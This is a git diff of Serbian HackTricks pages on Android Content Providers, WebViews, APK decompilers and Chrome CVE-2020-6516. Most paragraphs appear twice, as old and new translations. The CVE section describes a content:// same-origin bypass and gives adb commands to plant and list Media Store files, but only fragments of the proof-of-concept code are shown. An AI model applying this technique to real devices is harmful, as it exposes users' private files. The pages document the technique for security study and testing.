**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** kako bi se osigurala sigurnost podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili veb. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
**Content Providers** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementacije **dozvola** kako bi se osigurala bezbednost podataka. Oni omogućavaju aplikacijama da pristupaju podacima iz različitih izvora, uključujući baze podataka, datotečne sisteme ili web. Specifične dozvole, kao što su **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Pored toga, privremeni pristup može biti odobren putem **`grantUriPermission`** podešavanja u manifestu aplikacije, koristeći atribute kao što su `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, poput SQL ubacivanja. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, kao što je SQL injekcija. Content Providers podržavaju osnovne operacije: `insert()`, `update()`, `delete()`, i `query()`, olakšavajući manipulaciju i deljenje podataka među aplikacijama.
**FileProvider**, specijalizovani Provajder sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju konfiguracije fascikli. Savetuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
**FileProvider**, specijalizovani Content Provider, fokusira se na sigurno deljenje datoteka. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa folderima, označenim sa `android:exported` i `android:resource` koji ukazuju na konfiguracije foldera. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo nenamerno izlaganje osetljivih podataka.
Primer deklaracije manifesta za FileProvider:
```xml
@ -330,49 +332,49 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
I primer za specificiranje deljenih foldera u `filepaths.xml` datoteci:
I primer specifikovanja deljenih foldera u `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Za dodatne informacije pogledajte:
For further information check:
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifična **podešavanja**.
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji preuzimaju sadržaj ili sa interneta ili iz lokalnih datoteka. Suočen su sa sličnim rizicima kao obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifične **postavke**.
Android nudi dva glavna tipa WebView-a:
Android nudi dve glavne vrste WebView:
- **WebViewClient** je odličan za osnovni HTML ali ne podržava JavaScript alert funkciju, što utiče na to kako se XSS napadi mogu testirati.
- **WebChromeClient** se ponaša više kao potpuno iskustvo pregledača Chrome.
- **WebViewClient** je odličan za osnovni HTML, ali ne podržava JavaScript alert funkciju, što utiče na to kako se XSS napadi mogu testirati.
- **WebChromeClient** deluje više kao potpuno iskustvo Chrome pregledača.
Ključna stvar je da WebView pregledači **ne dele kolačiće** sa glavnim pregledačem uređaja.
Ključna tačka je da WebView pregledači **ne dele kolačiće** sa glavnim pregledačem uređaja.
Za učitavanje sadržaja, dostupne su metode poput ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Od suštinskog je značaja osigurati da su ovi URL-ovi ili datoteke **sigurne za korišćenje**. Podešavanja bezbednosti mogu se upravljati putem klase ````WebSettings````. Na primer, onemogućavanje JavaScript-a sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
Za učitavanje sadržaja, dostupne su metode kao što su ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ključno je osigurati da su ovi URL-ovi ili datoteke **sigurni za korišćenje**. Bezbednosne postavke mogu se upravljati putem ````WebSettings```` klase. Na primer, onemogućavanje JavaScripta sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
JavaScript "Bridge" omogućava Java objektima da interaguju sa JavaScript-om, zahtevajući da se metode označe sa ````@JavascriptInterface```` radi bezbednosti od Android verzije 4.2 nadalje.
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da metode budu označene sa ````@JavascriptInterface```` radi bezbednosti od Android 4.2 nadalje.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebView-ima da pristupe Content Provider-ima, što može biti rizično osim ako se URL-ovi sadržaja ne provere kao bezbedni.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebView-ima pristup Content Providers, što može predstavljati rizik osim ako su URL-ovi sadržaja verifikovani kao sigurni.
Za kontrolu pristupa datotekama:
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za sadržaj koji nije osetljiv.
Da biste kontrolisali pristup datotekama:
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup datotečnom sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za nesenzitivni sadržaj.
## Ostale komponente aplikacije i upravljanje mobilnim uređajima
## Other App Components and Mobile Device Management
### **Digitalno potpisivanje aplikacija**
### **Digital Signing of Applications**
- **Digitalno potpisivanje** je obavezno za Android aplikacije, osiguravajući da su **autentično autorizovane** pre instalacije. Ovaj proces koristi sertifikat za identifikaciju aplikacije i mora biti verifikovan od strane upravljača paketa uređaja prilikom instalacije. Aplikacije mogu biti **samopotpisane ili sertifikovane od strane spoljnog CA**, štiteći od neovlašćenog pristupa i osiguravajući da aplikacija ostane nepromenjena tokom isporuke na uređaj.
- **Digitalno potpisivanje** je obavezno za Android aplikacije, osiguravajući da su **autentično napisane** pre instalacije. Ovaj proces koristi sertifikat za identifikaciju aplikacije i mora biti verifikovan od strane menadžera paketa uređaja prilikom instalacije. Aplikacije mogu biti **samo-potpisane ili sertifikovane od strane spoljnog CA**, štiteći od neovlašćenog pristupa i osiguravajući da aplikacija ostane neizmenjena tokom isporuke na uređaj.
### **Provera aplikacija za unapređenu bezbednost**
### **App Verification for Enhanced Security**
- Počevši od **Android 4.2**, funkcija nazvana **Provera aplikacija** omogućava korisnicima da provere bezbednost aplikacija pre instalacije. Ovaj **proces provere** može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, unapređujući bezbednost korisnika.
- Počevši od **Android 4.2**, funkcija pod nazivom **Verify Apps** omogućava korisnicima da provere aplikacije za bezbednost pre instalacije. Ovaj **proces verifikacije** može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, poboljšavajući bezbednost korisnika.
### **Upravljanje mobilnim uređajima (MDM)**
### **Mobile Device Management (MDM)**
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**-ja. Ona zahtevaju instalaciju Android aplikacije za efikasno upravljanje i osiguranje mobilnih uređaja. Ključne funkcije uključuju **sprovođenje pravila lozinke**, **obaveznu enkripciju skladištenja**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i bezbednost nad mobilnim uređajima.
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**. Oni zahtevaju instalaciju Android aplikacije za efikasno upravljanje i obezbeđivanje mobilnih uređaja. Ključne funkcije uključuju **sprovođenje politika lozinki**, **obavezno šifrovanje skladišta**, i **dozvoljavanje daljinskog brisanja podataka**, osiguravajući sveobuhvatan nadzor i bezbednost nad mobilnim uređajima.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -389,16 +391,17 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,85 +1,73 @@
# APK dekompajleri
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
{% endhint %}
**Za dalje detalje o svakom alatu proverite originalni post sa [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Za dodatne detalje o svakom alatu proverite originalni post sa [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Kao pionirski GUI Java dekompajler, **JD-Gui** vam omogućava da istražujete Java kod unutar APK fajlova. Jednostavno ga je koristiti; nakon što dobijete APK, jednostavno ga otvorite sa JD-Gui-em da biste pregledali kod.
Kao pionirski GUI Java dekompajler, **JD-Gui** vam omogućava da istražujete Java kod unutar APK datoteka. Lako je za korišćenje; nakon što dobijete APK, jednostavno ga otvorite sa JD-Gui da biste pregledali kod.
### [Jadx](https://github.com/skylot/jadx)
**Jadx** nudi korisnički prijateljski interfejs za dekompajliranje Java koda iz Android aplikacija. Preporučuje se zbog jednostavnosti korišćenja na različitim platformama.
**Jadx** nudi korisnički prijateljski interfejs za dekompilaciju Java koda iz Android aplikacija. Preporučuje se zbog svoje jednostavnosti korišćenja na različitim platformama.
- Da biste pokrenuli GUI, idite na bin direktorijum i izvršite: `jadx-gui`
- Za korišćenje preko komandne linije, dekompajlirajte APK sa: `jadx app.apk`
- Da biste odredili izlazni direktorijum ili prilagodili opcije dekompajliranja: `jadx app.apk -d <putanja do izlaznog direktorijuma> --no-res --no-src --no-imports`
- Da biste pokrenuli GUI, idite u bin direktorijum i izvršite: `jadx-gui`
- Za korišćenje iz komandne linije, dekompilujte APK sa: `jadx app.apk`
- Da biste odredili izlazni direktorijum ili prilagodili opcije dekompilacije: `jadx app.apk -d <putanja do izlaznog direktorijuma> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, alat samo za Windows, nudi obimne mogućnosti za reverzno inženjerstvo Android aplikacija. Instalirajte i pokrenite GDA na vašem Windows sistemu, a zatim učitajte APK fajl za analizu.
**GDA**, alat koji radi samo na Windows-u, nudi opsežne funkcije za obrnuto inženjerstvo Android aplikacija. Instalirajte i pokrenite GDA na vašem Windows sistemu, a zatim učitajte APK datoteku za analizu.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
Sa **Bytecode-Viewer**-om možete analizirati APK fajlove koristeći više dekompajlera. Nakon preuzimanja, pokrenite Bytecode-Viewer, učitajte vaš APK i odaberite dekompajlere koje želite koristiti za istovremenu analizu.
Sa **Bytecode-Viewer**, možete analizirati APK datoteke koristeći više dekompajlera. Nakon preuzimanja, pokrenite Bytecode-Viewer, učitajte svoj APK i odaberite dekompajlere koje želite koristiti za simultanu analizu.
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify** prevodi Dalvik bajtkod u Java bajtkod, omogućavajući Java analitičkim alatima da efikasnije analiziraju Android aplikacije.
- Da biste koristili Enjarify, pokrenite: `enjarify app.apk`
Ovo generiše Java bajtkod ekvivalentan datom APK-u.
Ovo generiše Java bajtkod ekvivalent datom APK-u.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** je sposoban za dekompajliranje modernih Java funkcionalnosti. Koristite ga na sledeći način:
**CFR** je sposoban da dekompajlira moderne Java funkcije. Koristite ga na sledeći način:
- Za standardno dekompajliranje: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Za velike JAR fajlove, prilagodite dodelu memorije JVM-a: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Za standardnu dekompilaciju: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Za velike JAR datoteke, prilagodite JVM alokaciju memorije: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, analitički dekompajler, zahteva izgradnju iz izvornog koda. Nakon izgradnje:
**Fernflower**, analitički dekompajler, zahteva izgradnju iz izvora. Nakon izgradnje:
- Dekompajlirajte JAR fajl: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Zatim, izvucite `.java` fajlove iz generisanog JAR fajla koristeći `unzip`.
- Dekompilirajte JAR datoteku: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Zatim, izdvojite `.java` datoteke iz generisane JAR datoteke koristeći `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** nudi detaljnu kontrolu nad dekompajliranjem, posebno za rukovanje spoljnim bibliotekama.
**Krakatau** nudi detaljnu kontrolu nad dekompilacijom, posebno za rukovanje spoljnim bibliotekama.
- Koristite Krakatau tako što ćete navesti putanju standardne biblioteke i JAR fajl za dekompajliranje: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
- Koristite Krakatau tako što ćete odrediti putanju do standardne biblioteke i JAR datoteku koju treba dekompilirati: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Za jednostavno dekompajliranje sa **procyon**-om:
Za jednostavnu dekompilaciju sa **procyon**:
- Dekompajlirajte JAR fajl u određeni direktorijum: `procyon -jar "app.jar" -o "output_directory"`
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
- Dekompilirajte JAR datoteku u određeni direktorijum: `procyon -jar "app.jar" -o "output_directory"`

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,19 +20,20 @@ Drugi načini podrške HackTricks-u:
**Ovo je sažetak posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listing Files in Media Store
Za prikazivanje fajlova upravljanih od strane Media Store-a, može se koristiti sledeća komanda:
Da biste naveli datoteke kojima upravlja Media Store, može se koristiti sledeća komanda:
```bash
$ content query --uri content://media/external/file
```
Za prikazivanje prijateljskijeg izlaza, prikazivanje samo identifikatora i putanje svake indeksirane datoteke:
Za ljudima prijatniji izlaz, prikazujući samo identifikator i putanju svake indeksirane datoteke:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
### Pritup do pružalaca sadržaja u Chrome-u
Sadržajni provajderi su izolovani u svom privatnom imenskom prostoru. Pristup provajderu zahteva specifičan `content://` URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifestacija aplikacija ili iz izvornog koda Android okvira.
Chrome na Androidu može pristupiti pružaocima sadržaja putem šeme `content://`, omogućavajući mu pristup resursima poput fotografija ili dokumenata izvezenih od strane aplikacija trećih strana. Da bismo to ilustrovali, datoteka može biti ubačena u Media Store i zatim pristupljena putem Chrome-a:
### Chromeov pristup sadržajnim provajderima
Chrome na Androidu može pristupiti sadržajnim provajderima putem `content://` sheme, što mu omogućava pristup resursima kao što su fotografije ili dokumenti koje su izvezle aplikacije trećih strana. Da ilustrujemo ovo, datoteka se može umetnuti u Media Store i zatim pristupiti putem Chrome-a:
Ubacite prilagođeni unos u Media Store:
Umetnite prilagođeni unos u Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -39,25 +41,25 @@ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Otkrijte identifikator novoumetnutog fajla:
Otkrijte identifikator novoinsertovanog fajla:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Datoteku možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.
Datoteku zatim možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.
Na primer, da biste prikazali listu datoteka povezanih sa određenom aplikacijom:
Na primer, da biste naveli datoteke povezane sa određenom aplikacijom:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Bypass pravila o istom poreklu
### Chrome CVE-2020-6516: Bypass politike iste domene
_Same Origin Policy_ (SOP) je sigurnosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima sa različitih porekla osim ako eksplicitno nije dozvoljeno politikom deljenja resursa sa različitog porekla (CORS). Ova politika ima za cilj da spreči curenje informacija i krivotvorenje zahteva sa drugih sajtova. Chrome smatra `content://` lokalnom šemom, implicirajući strožija pravila SOP, gde se svaki URL lokalne šeme tretira kao zasebno poreklo.
_Politika iste domene_ (SOP) je bezbednosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima iz različitih domena osim ako to nije izričito dozvoljeno politikom deljenja resursa između domena (CORS). Ova politika ima za cilj da spreči curenje informacija i lažne zahteve između sajtova. Chrome smatra `content://` kao lokalnu shemu, što podrazumeva strože SOP pravila, gde se svaka lokalna shema URL tretira kao posebna domena.
Međutim, CVE-2020-6516 je bio propust u Chrome-u koji je omogućio zaobilaženje pravila SOP za resurse učitane putem `content://` URL-a. U suštini, JavaScript kod sa `content://` URL-a mogao je pristupiti drugim resursima učitanim putem `content://` URL-ova, što je predstavljalo značajan sigurnosni problem, posebno na Android uređajima koji koriste verzije pre Android 10, gde nije implementiran ograničeni prostor za skladištenje.
Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje SOP pravila za resurse učitane putem `content://` URL-a. U suštini, JavaScript kod sa `content://` URL-a mogao je da pristupi drugim resursima učitanim putem `content://` URL-a, što je predstavljalo značajnu bezbednosnu zabrinutost, posebno na Android uređajima koji koriste verzije starije od Android 10, gde nije implementirano ograničeno skladištenje.
Dole navedeni dokaz koncepta demonstrira ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod **/sdcard** i dodat u Media Store, koristi `XMLHttpRequest` u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći pravila SOP.
Dokaz koncepta u nastavku prikazuje ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod **/sdcard** i dodat u Media Store, koristi `XMLHttpRequest` u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći SOP pravila.
Dokaz koncepta HTML:
```xml
@ -92,16 +94,17 @@ xhr.send();
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,86 +1,108 @@
# Iskorišćavanje aplikacije koja je moguća za debugovanje
# Exploiting a debuggeable application
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
